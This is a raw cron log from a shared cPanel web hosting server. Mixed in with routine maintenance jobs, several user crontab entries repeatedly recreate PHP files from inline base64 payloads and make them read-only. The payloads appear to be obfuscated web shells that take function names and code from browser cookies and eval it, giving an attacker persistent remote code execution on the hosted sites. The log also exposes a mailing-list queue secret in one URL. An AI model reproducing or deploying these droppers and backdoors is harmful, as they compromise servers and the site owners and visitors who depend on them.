Mar  1 15:54:01 medusa CROND[4383]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 15:54:01 medusa CROND[4384]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 15:54:01 medusa CROND[4389]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 15:55:01 medusa CROND[26734]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  1 15:55:02 medusa CROND[26796]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  1 15:55:02 medusa CROND[26847]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  1 15:55:02 medusa CROND[26866]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  1 15:55:02 medusa CROND[26867]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  1 15:55:02 medusa CROND[26869]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 15:55:02 medusa CROND[26870]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 15:55:02 medusa CROND[26872]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 15:55:02 medusa CROND[26868]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 15:55:02 medusa CROND[26871]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  1 15:55:02 medusa CROND[26874]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  1 15:55:02 medusa CROND[26877]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 15:55:02 medusa CROND[26875]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  1 15:55:02 medusa CROND[26878]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 15:55:02 medusa CROND[26876]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  1 15:55:02 medusa CROND[26879]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 15:55:02 medusa CROND[26883]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 15:55:02 medusa CROND[26880]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  1 15:55:02 medusa CROND[26885]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  1 15:55:02 medusa CROND[26886]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 15:55:02 medusa CROND[26887]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 15:55:02 medusa CROND[26897]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 15:56:01 medusa CROND[16898]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  1 15:56:01 medusa CROND[16900]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 15:56:01 medusa CROND[16901]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 15:56:01 medusa CROND[16902]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 15:56:01 medusa CROND[16903]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 15:56:01 medusa CROND[16906]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 15:56:01 medusa CROND[16907]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 15:56:01 medusa CROND[16908]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 15:56:01 medusa CROND[16909]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 15:56:01 medusa CROND[16910]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 15:56:01 medusa CROND[16913]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 15:56:01 medusa CROND[16916]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
